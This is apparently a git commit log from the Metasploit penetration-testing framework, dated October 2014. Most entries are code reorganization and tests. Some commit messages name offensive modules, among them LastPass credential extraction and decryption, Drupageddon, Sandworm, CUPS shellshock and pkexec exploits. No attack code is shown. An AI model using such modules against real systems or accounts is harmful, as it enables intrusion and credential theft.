Final cleanup of LastPass module -- track account, more *print_ cleaning
2014-10-19 17:19:48 -07:00
Jon Hart 2985b39267 Land #3980, @wchen-r7 fixed #3975 2014-10-19 17:11:06 -07:00
Jon Hart 88c1647c80 Loot the passwords, obviously 2014-10-19 13:11:10 -07:00
Jon Hart 0971d7c3ac Remove ... from prints, only map a browser if we found something 2014-10-19 13:05:11 -07:00
Jon Hart 967800eed0 Track account name for more useful table and prints 2014-10-19 12:59:51 -07:00
Jon Hart 5a05246682 Consistent case in *print_* 2014-10-19 12:30:50 -07:00
William Vu 08715791ed Land #4048, rsync scanner version check 2014-10-19 14:14:02 -05:00
fmunozs 4976b9a2d9 Merge pull request #1 from zeroSteiner/fix-pr4020-login
Retry the script page request to get the token
2014-10-19 13:51:18 -05:00
Spencer McIntyre 005baa7f7e Retry the script page request to get the token
After logging in to Jenkins the script console page
needs to be requested again to get the CSRF token.
2014-10-19 14:04:16 -04:00
Brendan Coles 0ede70e7f6 Add exploit module for CUPS shellshock 2014-10-19 17:58:49 +00:00
ikkini c2174c7910 return if no version response received 2014-10-19 00:29:36 +02:00
nullbind 1e2f1eaee0 cleaning up 2014-10-18 12:00:11 -05:00
Martin Vigo 09faf2584f Merge pull request #2 from jhart-r7/landing-4004-jhart
Fix multiuser LastPass extraction, print/vprint cleanup
2014-10-17 20:22:20 -07:00
sinn3r d1523c59a9 Land #3965 - BMC Track-It! Arbitrary File Upload 2014-10-17 19:47:42 -05:00
Jon Hart a30663e412 Fix multiuser LastPass extraction, print/vprint cleanup 2014-10-17 17:40:19 -07:00
James Lee 329a600b84 Add tcp evasion options to mssql_login 2014-10-17 17:40:21 -05:00
James Lee 6498ed0dc8 Report the actual host that failed to connect
Instead of the eventual target where our proxy chain will connect. In
the usual case (no Proxies set), this will be the same output as before.
When proxies are given, the user will see that the first proxy
connection is actually what failed.
2014-10-17 17:37:04 -05:00
sinn3r 8b5a33c23f Land #4044 - MS14-060 "Sandworm" 2014-10-17 16:46:32 -05:00
William Vu d5b698bf2d Land #3944, pkexec exploit 2014-10-17 16:30:55 -05:00
William Vu ce40c1152a Land #4014, msfconsole spinnerz 2014-10-17 16:25:31 -05:00
jvazquez-r7 70f8e8d306 Update description 2014-10-17 16:17:00 -05:00
jvazquez-r7 e52241bfe3 Update target info 2014-10-17 16:14:54 -05:00
jvazquez-r7 7652b580cd Beautify description 2014-10-17 15:31:37 -05:00
jvazquez-r7 d831a20629 Add references and fix typos 2014-10-17 15:29:28 -05:00
Martin Vigo afed6a0b8a Merge pull request #1 from jhart-r7/landing-4004-jhart
Refactoring of LastPass post module
2014-10-17 12:54:04 -07:00
Jon Hart d2a00b208e Minor style cleanup to appease Rubocop 2014-10-17 12:50:18 -07:00
Luke Imhoff 080ea3e56a Merge branch 'staging/great-backport' into feature/MSP-11126/msf-module-reorg
MSP-11126
2014-10-17 14:28:13 -05:00
jvazquez-r7 c39e7c1472 Land #20, @wchen-r7's description update 2014-10-17 14:02:47 -05:00
Luke Imhoff 06fbbf7001 Fully-qualified Msf::NormalRanking in Msf::Module::Ranking
MSP-11126

Needed due to loss of `Msf` lexical scope.
2014-10-17 13:58:57 -05:00
sinn3r ef1556eb62 Another update 2014-10-17 13:56:37 -05:00
jvazquez-r7 8fa648744c Add @wchen-r7's unc regex 2014-10-17 13:46:13 -05:00
Luke Imhoff 43354774e1 Fully qualified Msf::RankingName in Msf::Module::Ranking
MSP-11126

To compensate for loss of `Msf` lexical scope.
2014-10-17 13:43:51 -05:00
William Vu 10f3969079 Land #4043, s/http/http:/ splat
What is a splat?
2014-10-17 13:41:07 -05:00
Luke Imhoff ae45c1b9d3 Msf::Module::Rank -> Msf::Module::Ranking
MSP-11126

So that mixin module won't appear as Rank constant that Msf::Module
subclasses are supposed to define.
2014-10-17 13:39:53 -05:00
Jon Hart d97fe548b9 Store the browser name in LastPass loot 2014-10-17 11:33:31 -07:00
Joshua Smith 19e8a50573 Land 3847, specs for Rex::Oui 2014-10-17 13:22:51 -05:00
Jon Hart 43238c7324 Simplify LastPass extraction. Track what browser that puked creds 2014-10-17 11:19:36 -07:00
Joshua Smith 32faa0bc62 Land 3796, specs for Rex::Encoder::Alpha2 encoders 2014-10-17 13:15:00 -05:00
Tod Beardsley a431bff13f @wvu-r7 is a skilled negotiator. s/stdout/stderr/ 2014-10-17 13:13:44 -05:00
Luke Imhoff a6a2886faa Fully-qualify Msf::OptionContainer references
MSP-11126
2014-10-17 13:09:27 -05:00
Luke Imhoff 112b5988f2 Add missing autoload to fix loading on travis-ci
MSP-11126

`Msf::Module::Failure` fails to load on travis-ci probably due to a load
order difference, so add `:Failure` to autoloads in `Msf::Module`.
2014-10-17 13:05:59 -05:00
Trevor Rosen 22f5347660 Merge branch 'landing/4042' into upstream-master
Land #4042

 the commit.
2014-10-17 12:51:50 -05:00
Luke Imhoff 0c00c7cc50 Fully-qualifiy Msf::MODULE_TYPES constants
MSP-11126

Fully-qualify `Msf::MODULE_TYPES`, `Msf::MODULE_ANY`,
Msf::MODULE_ENCODER`, `Msf::MODULE_EXPLOIT`, `Msf::MODULE_NOP`,
`Msf::MODULE_AUX`, `Msf::MODULE_PAYLOAD`, `Msf::MODULE_POST` so that
their usage isn't dependent on nested lexical scoping.
2014-10-17 12:43:40 -05:00
Tod Beardsley 5978bd5e62 Control the startup msg with -q, too 2014-10-17 12:41:58 -05:00
William Vu dbfe398e35 Land #4037, Drupageddon exploit 2014-10-17 12:39:59 -05:00
William Vu a514e3ea16 Fix bad indent (should be spaces)
msftidy is happy now.
2014-10-17 12:39:25 -05:00
William Vu f2328e679f Land #4034, POODLE scanner 2014-10-17 12:36:48 -05:00
William Vu 367ea5d3db Add disclosure date 2014-10-17 12:35:28 -05:00
Tod Beardsley a45b21b6bf -q will quiet the animation, too 2014-10-17 12:32:28 -05:00
Tod Beardsley ccdaf2b576 Fix the banner
Turns out these will be broken in outstanding PRs for a while. At least
they won't be merge conflicts.
2014-10-17 12:23:23 -05:00
Jon Hart 9177b931fd Refactoring of LastPass module to use correct Firefox path on *nix 2014-10-17 10:20:55 -07:00
Luke Imhoff 200d64040d Fully-qualify Msf::ServiceState
MSP-11152

Replace unqualified `ServiceState` with `Msf::ServiceState`.
2014-10-17 11:58:11 -05:00
Luke Imhoff 7ffd07c44d Remove protected method from specs examples
MSP-11126
2014-10-17 11:49:01 -05:00
Luke Imhoff 575717681c Extract Msf::Module::Privileged shared examples
MSP-11126
2014-10-17 11:48:36 -05:00
URI Assassin 35d3bbf74d Fix up comment splats with the correct URI
See the complaint on #4039. This doesn't fix that particular
issue (it's somewhat unrelated), but does solve around
a file parsing problem reported by @void-in
2014-10-17 11:47:33 -05:00
Luke Imhoff 172afd180a Extract Msf::Module::Privileged
MSP-11126
2014-10-17 11:45:03 -05:00
Luke Imhoff 45302b9403 Extract Msf::Module::UUID shared examples
MSP-11126
2014-10-17 11:34:35 -05:00
Luke Imhoff cbae9be5b5 Extract Msf::Module::UUID
MSP-11126
2014-10-17 11:31:56 -05:00
Tod Beardsley ad501b25e4 Filename move to be less redundant 2014-10-17 11:25:14 -05:00
Luke Imhoff d86eda5f1d Extract Msf::Module::Author shared examples
MSP-11126
2014-10-17 11:20:23 -05:00
Luke Imhoff a59e635913 Extract Msf::Module::Author
MSP-11126
2014-10-17 11:17:12 -05:00
jvazquez-r7 e5903562ee Delete bad/incomplete validation method 2014-10-17 10:36:01 -05:00
nullbind bf92769ba2 added mssql_escalate_dbowner_sqli 2014-10-17 10:25:20 -05:00
Luke Imhoff 9f32cbd476 Use :: to force top-level constant resolution
MSP-11152

When `Msf::DBManager::Import::MetasploitFramework` is included in
`Msf::DBManager::Import`, it's child namespace of
`Msf::DBManager::Import::MetasploitFramework::Zip becomes resolvable as
`Zip` in `Msf::DBManager::Import` methods, so need to use `::Zip` to
cause `Zip` to be resolved from rubyzip gem.
2014-10-17 10:15:59 -05:00
Luke Imhoff 13923a8ca5 Fully-qualify Msf::DBImportError
MSP-11152

Constant was unqualified in some of the reorganized Msf::DBManager code
because that code was take advantage of the old nested lexical scope
that included `Msf`.
2014-10-17 09:29:01 -05:00
jvazquez-r7 7ac416763e Land #18, @wchen-r7 description update 2014-10-17 09:12:06 -05:00
Luke Imhoff e822920298 Msf::Module::Author -> Msf::Author
MSP-11126

`Msf::Module::Author` was already aliased to `Msf::Author`.  This just
moved `Msf::Module::Author` to that alias to free up
`Msf::Module::Author` so it can be used for a concern for
`Msf::Module`'s author methods.
2014-10-17 08:59:54 -05:00
sinn3r a79427a659 I shoulda checked before git commit 2014-10-17 00:54:45 -05:00
sinn3r 4c0048f26a Update description 2014-10-17 00:46:17 -05:00
sinn3r 3a63fa12b8 'ppsx_module_smaller' to branch cve_2014_4114 2014-10-17 00:10:57 -05:00
William Vu e242bf914f Land #4031, fixes for pureftpd_bash_env_exec 2014-10-16 19:55:09 -05:00
jvazquez-r7 1d16bd5c77 Fix vulnerability discoverer 2014-10-16 18:01:45 -05:00
jvazquez-r7 807f1e3560 Fix target name 2014-10-16 17:58:45 -05:00
jvazquez-r7 bf8dce574a Add ppsx template 2014-10-16 17:55:22 -05:00
jvazquez-r7 c1f9ccda64 Fix ruby 2014-10-16 17:55:00 -05:00
jvazquez-r7 e40642799e Add sandworm module 2014-10-16 16:37:37 -05:00
Luke Imhoff ebc62cf9c9 Spec Msf::Module::Author
MSP-11126

Bare minimum of methods to assist with moves.
2014-10-16 16:03:28 -05:00
Luke Imhoff 839657abec Extract Msf::Module::Network shared examples
MSP-11126
2014-10-16 15:54:35 -05:00
Luke Imhoff b5039c3817 Extract Msf::Module::Network
MSP-11126
2014-10-16 15:51:59 -05:00
Luke Imhoff ee9623c11e Remove class method examples moved to shared examples
MSP-11126
2014-10-16 15:41:28 -05:00
Luke Imhoff 244e4a9954 Extract Msf::Module::Search shared examples
MSP-11126
2014-10-16 15:40:19 -05:00
Luke Imhoff be945d26fc Extract Msf::Module::FullName shared examples
MSP-11126
2014-10-16 15:33:13 -05:00
Luke Imhoff 2e538bd72d Extract Msf::Module::Search
MSP-11126
2014-10-16 15:27:54 -05:00
Luke Imhoff 7743fdb2f9 Extract Msf::Module::FullName
MSP-11126
2014-10-16 15:24:59 -05:00
Jon Hart 8fdae8fbfb Move protocol and lifetime to mixin, use correct map_target if CHOST 2014-10-16 13:24:17 -07:00
Luke Imhoff 0e53548c82 Extract Msf::Target
MSP-11126
2014-10-16 15:13:18 -05:00
Luke Imhoff e5cc456be7 Extract Msf::Platform
MSP-11126
2014-10-16 15:11:59 -05:00
Luke Imhoff 27c006a8f9 Extract Msf::SiteReference
MSP-11126
2014-10-16 15:09:55 -05:00
Luke Imhoff 9981271e2a extract Msf::Reference
MSP-11126
2014-10-16 15:03:21 -05:00
Luke Imhoff c8730ca55b Extract Msf::Author
MSP-11126
2014-10-16 14:59:15 -05:00
Luke Imhoff fe5ffa9cec Standardize on autoload over require
MSP-11126

Standardize on autoload to prevent trying to use colliding names for
included Module with Modules/Classes just under the namespace.
2014-10-16 14:58:08 -05:00
Luke Imhoff c501e1e58a Extract Msf::Module::Rank shared examples
MSP-11126
2014-10-16 14:41:59 -05:00
Luke Imhoff d5c7a50e86 Extract Msf::Module::Rank
MSP-11126
2014-10-16 14:39:33 -05:00
Luke Imhoff 925cd63171 Extrat Msf::Module::Type shared examples
MSP-11126
2014-10-16 14:28:43 -05:00
Luke Imhoff e6f442697b Extract Msf::Module::Type
MSP-11126
2014-10-16 14:23:21 -05:00
Brandon Perry 353d2f79cc tweak pw generation 2014-10-16 12:06:19 -07:00
Brandon Perry 5f8c0cb4f3 Merge branch 'drupal' of https://github.com/FireFart/metasploit-framework into drupageddon 2014-10-16 11:53:54 -07:00
Christian Mehlmauer c8dd08f605 password hashing 2014-10-17 15:52:47 +02:00
Brandon Perry 23b7b8e400 fix for version 7.0-7.31 2014-10-16 11:53:48 -07:00
Luke Imhoff e418f98d45 arch -> Msf::Module::Arch
MSP-11126
2014-10-16 13:21:11 -05:00
Luke Imhoff 28af6a490b Extract Msf::Module::Arch shared examples
MSP-11126
2014-10-16 13:16:57 -05:00
Luke Imhoff 44b2e5e35c Extract Msf::Module::Arch
MSP-11126
2014-10-16 13:14:56 -05:00
Luke Imhoff a2dc3b754f Extract Msf::Module::ModuleInfo shared examples
MSP-11126
2014-10-16 13:10:15 -05:00
Luke Imhoff 31c93e9dbc Extract Msf::Module::ModuleInfo
MSP-11126
2014-10-16 13:01:42 -05:00
James Lee 40b360555f Make the error message a little more useful 2014-10-16 12:47:13 -05:00
Brandon Perry 9bab77ece6 add urls 2014-10-16 10:36:37 -07:00
Brandon Perry b031ce4df3 Create drupal_drupageddon.rb 2014-10-16 16:42:47 -05:00
Brandon Perry 5c4ac48db7 update the drupal module a bit with error checking 2014-10-16 10:32:39 -07:00
Trevor Rosen c503e8a3d8 Merge branch 'landing/4026' into upstream-master
Land #4026

* db.rb (DBManager) now in multiple files
* Cucumber coverage for DB-related msfconsole commands
2014-10-16 11:52:57 -05:00
Luke Imhoff f8ada87e86 Extract Msf::Module::Options shared examples
MSP-11126
2014-10-16 11:24:03 -05:00
Luke Imhoff f9caa4d25e Extract Msf::Module::Options
MSP-11126

Methods for registering, derigsterings, and validating options.
2014-10-16 11:14:42 -05:00
Tod Beardsley 8cf10be779 Don't assume SSLv3 is set (kill FP+s) 2014-10-16 10:43:58 -05:00
Tod Beardsley 0b67efd51e Add a POODLE scanner and general SSL version scan 2014-10-16 10:27:37 -05:00
Trevor Rosen b02dc7a44f Merge branch 'landing/3971' into HEAD
Land #3791 - specs for code reorg
2014-10-16 10:26:51 -05:00
Luke Imhoff c50cb2eb8a Extract Msf::Module::UI::*::Verbose and shared examples
MSP-11126
2014-10-16 10:05:45 -05:00
Luke Imhoff a3afb92ee2 Extract Msf::Module::UI::Line shared examples
MSP-11126
2014-10-16 09:51:23 -05:00
Luke Imhoff a9a6f0c5f9 Extract Msf::Module::UI::Line
MSP-11126
2014-10-16 09:50:07 -05:00
Luke Imhoff 96864b3892 Extract Msf::Module::UI::Message shared examples
MSP-11126
2014-10-16 09:45:17 -05:00
Luke Imhoff bc2bd99698 Extract Msf::Module::UI::Message
MSP-11126
2014-10-16 09:39:30 -05:00
Luke Imhoff 4d9f7db15a Extract Msf::Module::Compatibility
MSP-11126
2014-10-16 09:29:31 -05:00
Luke Imhoff f5d09f735e Extract Msf::Module::Compatibility
MSP-11126
2014-10-16 09:14:57 -05:00
Luke Imhoff 9b10a3f1dc Extract Msf::Module::DataStore shared examples
MSP-11126
2014-10-16 09:14:44 -05:00
Luke Imhoff 85169d5e8d Extract Msf::Module::DataStore
MSP-11126
2014-10-16 09:03:23 -05:00
Luke Imhoff 6a194b3a88 Extract Msf::Module::ModuleStore shared examples
MSP-11126
2014-10-16 09:03:12 -05:00
Luke Imhoff f068d669d6 Extract Msf::Module::ModuleStore
MSP-11126
2014-10-16 09:03:07 -05:00
Luke Imhoff 370daaed5e Extract Msf::Module::Failure
MSP-11126

Move `Msf::Module::Failure` to a file of its own.
2014-10-16 09:02:55 -05:00
Spencer McIntyre 09069f75c2 Fix #4019, fix NameError peer and disconnect in check 2014-10-16 08:32:20 -04:00
Martin Vigo 8fc87aa721 Solve conflict 2014-10-15 23:40:27 -07:00
Martin Vigo 36d6220f8f Make use of Rex::Ui::Text::Table 2014-10-15 23:13:53 -07:00
Martin Vigo bb421859d3 Refactor code and add support for all Windows 2014-10-15 22:15:54 -07:00
Martin Vigo c7e0ced02b Remove useless conditions 2014-10-15 21:29:47 -07:00
Martin Vigo 2bdc703930 Remove useless condition 2014-10-15 21:16:06 -07:00
Martin Vigo 5fa39782b8 Fix unused variable 2014-10-15 21:10:50 -07:00
Martin Vigo 8fc0f0955e Add support for Firefox 2014-10-15 20:44:20 -07:00
Martin Vigo 47794510c3 Add support for Firefox in XP 2014-10-15 20:44:19 -07:00
Martin Vigo b15b05fa7b Merge branch 'master' of github.com:martinvigo/metasploit-framework 2014-10-15 20:43:06 -07:00
Martin Vigo 6fb1287b3d Merge remote-tracking branch 'upstream/master' 2014-10-15 20:35:58 -07:00
Martin Vigo 484d98d0a8 Meet rubocop and msftify rules 2014-10-15 20:17:36 -07:00
Martin Vigo 85e6febe09 Add module to extract/decrypt LastPass credentials 2014-10-15 20:17:36 -07:00
Samuel Huckins 50a2f4c2a7 Adding missing lock changes from #4030 2014-10-15 20:39:13 -05:00
Samuel Huckins 87d8fc187e Lands #4030, latest meterpreter bins 2014-10-15 20:35:26 -05:00
Tod Beardsley 4f32cc8c01 Bump to meterpreter_bins 0.0.10 2014-10-15 19:36:48 -05:00
Tod Beardsley 8afe4ab5e0 Update Gemspec for meterpreter 0.0.8 2014-10-15 19:00:19 -05:00
James Lee 41a57b7ba5 Re-enable proxies for HTTP-based login scanners 2014-10-15 17:00:44 -05:00
Tod Beardsley d5a0b81680 Land #4024, auto-negotiate SSL versions
Thanks @hmoore-r7!
2014-10-15 16:04:38 -05:00
HD Moore 5a350b2bf3 Merge pull request #6 from todb-r7/pr4024-auto-negotiate-ssl
Add 'Auto' to tcp.rb as well.
2014-10-15 16:03:52 -05:00
Tod Beardsley 62be638258 Add 'Auto' to tcp.rb as well. 2014-10-15 16:01:42 -05:00
Luke Imhoff 98a56d594a Spec Msf::Target
MSP-11496
2014-10-15 15:18:28 -05:00
Luke Imhoff 6bf5e996cf Spec Msf::Platform
MSP-11496
2014-10-15 15:15:33 -05:00
Luke Imhoff c2c311f087 Spec Msf::SiteReference
MSP-11496
2014-10-15 15:13:20 -05:00
Luke Imhoff 26958f5aaa Spec Msf::Reference
MSP-11496
2014-10-15 15:08:12 -05:00
Luke Imhoff 714e9435e5 Spec Msf::Author
MSP-11496
2014-10-15 15:07:22 -05:00
Luke Imhoff 43e5abdef4 Spec Msf::Module::UpdateableOptions
MSP-11496
2014-10-15 14:59:44 -05:00
Luke Imhoff 23395911d1 Spec Msf::Module::Failure
MSP-11496
2014-10-15 14:50:49 -05:00
Joshua Smith 8ec0aa0a75 Land 4006, msfcli support for show actions 2014-10-15 14:43:27 -05:00
Luke Imhoff fd2b7126d6 Msf::Module method specs
MSP-11496

Use respond_to matcher to check that methods aren't dropped during
reorganization.
2014-10-15 14:40:07 -05:00
Tod Beardsley b866983bc2 Land #4025, auto-negotiate meterpreter SSL 2014-10-15 14:25:44 -05:00
James Lee 3a9c2f95c9 Add magic encoding to new files 2014-10-15 14:23:34 -05:00
James Lee 2986031db5 Move SMBServer into its own file 2014-10-15 14:22:23 -05:00
James Lee 1064488ada Whitespace 2014-10-15 14:21:39 -05:00
Luke Imhoff 9456506e3d Merge branch 'master' into feature/MSP-11124/msf-dbmanager-reorg
MSP-11124
2014-10-15 14:08:55 -05:00
Luke Imhoff 3bce8e418d unserialize_object -> Msf::DBManager::Import::MetasploitFramework shared examples
MSP-11124
2014-10-15 14:03:55 -05:00
Luke Imhoff 1f7ad1cac9 unserialize_object -> Msf::DBManager::Import::MetasploitFramework
MSP-11124
2014-10-15 14:03:18 -05:00
Luke Imhoff 1aca55bc2a nils_for_nulls -> Msf::DBManager::Import::MetasploitFramework shared examples
MSP-11124
2014-10-15 14:00:42 -05:00
Luke Imhoff bed98fe43b nils_for_nulls -> Msf::DBManager::Import::MetasploitFramework
MSP-11124
2014-10-15 13:59:03 -05:00
HD Moore fcd9b4b293 Allow non-SSLv3 Meterpreters (auto-negotiate) 2014-10-15 13:57:51 -05:00
Luke Imhoff 27c5cf8887 Move helpers to Msf::DBManager::Import::Libpcap shared examples
MSP-11124
2014-10-15 13:57:27 -05:00
Luke Imhoff ac30990177 Move libpcap helpers to Libpcap module
MSP-11124
2014-10-15 13:55:24 -05:00
Luke Imhoff 5d59224520 Extract Msf::DBManager::Import::Report shared examples
MSP-11124
2014-10-15 13:53:09 -05:00
Luke Imhoff 7aed88f11b Extract Msf::DBManager::Import::Report
MSP-11124
2014-10-15 13:51:57 -05:00
HD Moore cb3a4afac5 Typo: request -> requested in message 2014-10-15 13:48:22 -05:00
Luke Imhoff 505ca5fcc0 Extract Msf::DBManager::Import::Wapiti shared examples
MSP-11124
2014-10-15 13:47:22 -05:00
Luke Imhoff e5e051c905 Extract Msf::DBManager::Import::Wapiti
MSP-11124
2014-10-15 13:42:54 -05:00
Luke Imhoff 6e0c7f0aaf Extract Msf::DBManager::Import::Spiceworks shared examples
MSP-11124
2014-10-15 13:40:03 -05:00
Luke Imhoff e65a386d3d Extract Msf::DBManager::Import::Spiceworks
MSP-11124
2014-10-15 13:37:35 -05:00
HD Moore 7516512650 Raise an ArgumentError vs RuntimeError for backwards compatibility 2014-10-15 13:30:38 -05:00
HD Moore a762d871bf Autonegotiate SSL/TLS versions when not explicit 2014-10-15 13:26:40 -05:00
Luke Imhoff 92a6c79200 Extract Msf::DBManager::Import::Retina shared examples
MSP-11124
2014-10-15 13:24:40 -05:00
Luke Imhoff dfe690ac52 Extract Msf::DBManager::Import::Retina
MSP-11124
2014-10-15 13:23:12 -05:00
Luke Imhoff ac6a8387a5 Extract Msf::DBManager::Import::Outpost24 shared examples
MSP-11124
2014-10-15 13:21:21 -05:00
Luke Imhoff 8af280b1cb Extract Msf::DBManager::Import::Outpost24
MSP-11124
2014-10-15 13:16:11 -05:00
Luke Imhoff eff95221da Order methods
MSP-11124
2014-10-15 13:14:20 -05:00
Luke Imhoff 0418027c90 Extract Msf::DBManager::Import::OpenVAS
MSP-11124
2014-10-15 13:13:57 -05:00
Luke Imhoff cf555e2390 Extract Msf::DBManager::Import::OpenVAS
MSP-11124
2014-10-15 13:11:49 -05:00
Luke Imhoff aa4c104df5 Extract Msf::DBManager::Import::Nmap shared examples
MSP-11124
2014-10-15 13:08:05 -05:00
Luke Imhoff 5d6044786a Extract Msf::DBManager::Import::Nmap
MSP-11124
2014-10-15 13:06:28 -05:00
Luke Imhoff 926c5adb49 Extract Msf::DBManager::Import::Nikto shared examples
MSP-11124
2014-10-15 12:57:24 -05:00
Luke Imhoff cf3a3a0d65 Move nexpose requires to appropriate module
MSP-11124
2014-10-15 12:54:30 -05:00
Luke Imhoff 16f143c2ed Extract Msf::DBManager::Import::Nikto
MSP-11124
2014-10-15 12:51:16 -05:00
Luke Imhoff 3049301c96 Extract Msf::DBManager::Import::Nexpose::Simple shared examples
MSP-11124
2014-10-15 12:44:24 -05:00
Luke Imhoff e64a14c748 Extract Msf::DBManager::Import::Nexpose::Simple
MSP-11124
2014-10-15 12:40:04 -05:00
Luke Imhoff b49dd166fd Extract Msf::DBManager::Import::Nexpose::Raw shared examples
MSP-11124
2014-10-15 12:38:35 -05:00
HD Moore 0941b98596 Unland #4022 with #4023 (more discussion)
essage aborts
2014-10-15 12:32:10 -05:00
Tod Beardsley c4d1a4c7dc Revert #4022, as the solution is incomplete
Revert "Land 4022, datastore should default TLS1 vs SSL3"

This reverts commit 4c8662c6c1, reversing
changes made to 0937f32ff9.
2014-10-15 12:32:08 -05:00
Luke Imhoff 2b861f91e9 Extract Msf::DBManager::Import::Nexpose::Raw
MSP-11124
2014-10-15 11:59:03 -05:00
Joshua Smith 4c8662c6c1 Land 4022, datastore should default TLS1 vs SSL3 2014-10-15 11:49:28 -05:00
Luke Imhoff 3638b0a91b Extract Msf::DBManager::Import::Netsparker shared examples
MSP-11124
2014-10-15 11:49:01 -05:00
Luke Imhoff c371eab26a Extract Msf::DBManager::Import::Netsparker
MSP-11124
2014-10-15 11:46:38 -05:00
Luke Imhoff a73b0e2283 Move requires for nessus parses to appropriate module
MSP-11124
2014-10-15 11:42:00 -05:00
Luke Imhoff b43035145d Move nessus helper function to closest module
MSP-11124
2014-10-15 11:39:23 -05:00
Luke Imhoff cceec8eb53 Extract Msf::DBManager::Import::Nessus::XML::V* shared examples
MSP-11124
2014-10-15 11:37:24 -05:00
Luke Imhoff aae6dc9066 Extract Msf::DBManager::Import::Nessus::XML::V*
MSP-11124

Extract different versions of Nessus XML format.
2014-10-15 11:34:37 -05:00
Luke Imhoff cee782ab8b Extract Msf::DBManager::Import::Nessus::XML shared examples
MSP-11124
2014-10-15 11:30:23 -05:00
Luke Imhoff a0494b2eeb Extract Msf::DBManager::Import::Nessus::XML
MSP-11124
2014-10-15 11:27:23 -05:00
Luke Imhoff 71af8fd9c2 Extract Msf::DBManager::Import::Nessus::NBE shared examples
MSP-11124
2014-10-15 11:23:52 -05:00
Luke Imhoff 0c861848bc Extract Msf::DBManager::Import::Nessus::NBE
MSP-11124
2014-10-15 11:21:26 -05:00
Luke Imhoff 4c9b29de95 Extract Msf::DBManager::Import::MetasploitFramework::Credential shared examples
MSP-11124
2014-10-15 11:15:13 -05:00
Luke Imhoff d0d0c478aa Extract Msf::DBManager::Import::MetasploitFramework::Credential
MSP-11124
2014-10-15 11:12:13 -05:00
Luke Imhoff 7d101be0f5 Extract Msf::DBManager::Import::MetasploitFramework::Zip shared examples
MSP-11124
2014-10-15 11:02:27 -05:00
Luke Imhoff 46a2c47dfe Extract Msf::DBManager::Import::MetasploitFramework::Zip
MSP-11124
2014-10-15 10:59:41 -05:00
Tod Beardsley 1754b23ffb Datastore options should default to TLS1, not SSL3
Otherwise, we risk getting our connections killed by particularly
aggressive DPI devices (IPS, firewalls, etc)

Squashed commit of the following:

commit 5e203851d5c9dce1fe984b106ce3031a3653e54b
Author: Tod Beardsley <tod_beardsley@rapid7.com>
Date:   Wed Oct 15 10:19:04 2014 -0500

    Whoops missed one

commit 477b15a08e06e74d725f1c45486b37e4b403e3c2
Author: Tod Beardsley <tod_beardsley@rapid7.com>
Date:   Wed Oct 15 10:16:59 2014 -0500

    Other datastore options also want TLS1 as default

commit 8d397bd9b500ff6a8462170b4c39849228494795
Author: Tod Beardsley <tod_beardsley@rapid7.com>
Date:   Wed Oct 15 10:12:06 2014 -0500

    TCP datastore opts default to TLS1

    Old encryption is old. See also: POODLE
2014-10-15 10:28:53 -05:00
Luke Imhoff 65885c8cc8 MsfXml -> MetasploitFramework::XML
MSP-11124
2014-10-15 10:25:42 -05:00
Luke Imhoff 102e9d8972 import_msf_file -> Msf::DBManager::Import::MsfXml shared examples
MSP-11124
2014-10-15 10:04:21 -05:00
Luke Imhoff ac9a593b43 import_msf_file -> Msf::DBManager::Import::MsfXml
MSP-11124
2014-10-15 10:02:42 -05:00
Luke Imhoff c7d16810ad Extract Msf::DBManager::Import::MBSA shared examples
MSP-11124
2014-10-15 09:58:24 -05:00
Luke Imhoff d870188377 Extract Msf::DBManager::Import::MBSA
MSP-11124
2014-10-15 09:54:03 -05:00
Luke Imhoff 1edad5e0b7 Extract Msf::DBManager::Import::Libpcap shared examples
MSP-11124
2014-10-15 09:49:58 -05:00
Luke Imhoff f29408680f Extract Msf::DBManager::Import::Libpcap
MSP-11124
2014-10-15 09:48:23 -05:00
Luke Imhoff 8b8befeee1 Extract Msf::DBManager::Import::IPList shared examples
MSP-11124
2014-10-15 09:43:49 -05:00
Luke Imhoff 44968400e9 Extract Msf::DBManager::Import::IPList
MSP-11124
2014-10-15 09:42:11 -05:00
Luke Imhoff 66b1dcc42d Extract Msf::DBManager::Import::FusionVM shared examples
MSP-11124
2014-10-15 09:38:44 -05:00
Luke Imhoff e5236e9b56 Extract Msf::DBManager::Import::FusionVM
MSP-11124
2014-10-15 09:36:29 -05:00
Luke Imhoff 0bfc496824 Extract Msf::DBManager::Import::Foundstone shared examples
MSP-11124
2014-10-15 09:31:17 -05:00
Luke Imhoff 2e85dc910a Extracts Msf::DBManager::Import::Foundstone
MSP-11124
2014-10-15 09:27:53 -05:00
Luke Imhoff 56c8bad6c5 Extract Msf::DBManager::Import::CI shared examples
MSP-11124
2014-10-15 09:24:46 -05:00
Luke Imhoff 68a1ebd2fb Extract Msf::DBManager::Import::CI
MSP-11124
2014-10-15 09:23:08 -05:00
Luke Imhoff 85f35bd29b Extract Msf::DBManager::Import::Burp shared examples
MSP-11124
2014-10-15 09:18:22 -05:00
Luke Imhoff 8d628c221b Extract Msf::DBManager::Import::Burp
MSP-11124
2014-10-15 09:16:57 -05:00
Luke Imhoff 33e1213010 Extract Msf::DBManager::Import::Appscan shared examples
MSP-11124
2014-10-15 09:14:12 -05:00
Luke Imhoff f42307a6ff Extract Msf::DBManager::Import::Appscan
MSP-11124
2014-10-15 09:12:38 -05:00
Luke Imhoff 6a1f718c3a Extract Msf::DBManager::Import::Amap shared examples
MSP-11124
2014-10-15 09:08:50 -05:00
Luke Imhoff dcac8a45ee Extract Msf::DBManager::Import::Amap
MSP-11124
2014-10-15 09:06:03 -05:00
Jon Hart 07f2d4dafe Further improvements to NAT-PMP. Faster, more useful, less not useful 2014-10-15 06:39:38 -07:00
William Vu 0937f32ff9 Land #4021, TLSv1 default for RPC connections 2014-10-15 01:32:45 -05:00
HD Moore 6cf62765de Default to TLSv1 for RPC connections 2014-10-15 01:20:43 -05:00
Fernando Munoz 4c2ae1a753 Fix jenkins when CSRF is enabled 2014-10-14 19:33:23 -05:00
James Lee 5434996969 Move TcpServer into its own file 2014-10-14 18:43:40 -05:00
Tod Beardsley 1095d1dca3 Land #4015, dates in the info on modules 2014-10-14 16:37:26 -05:00
Tod Beardsley 592f1e9893 Land #3999, errors on login suppressed by default
This also solved the merge conflict on:

	modules/auxiliary/scanner/http/jenkins_login.rb

Fixes #3995.
2014-10-14 16:35:09 -05:00
Jon Hart ea6824c46f WIP of NAT-PMP rework 2014-10-14 14:20:24 -07:00
Luke Imhoff a00d039796 Move require for IP360 XML parser
MSP-11124
2014-10-14 16:18:47 -05:00
Luke Imhoff d85ee2ee0a Extract Msf::DBManager::Import::IP360::V3 shared examples
MSP-11124
2014-10-14 16:17:34 -05:00
Luke Imhoff 599bcc33a9 Extract Msf::DBManager::Import::IP360::V3
MSP-11124
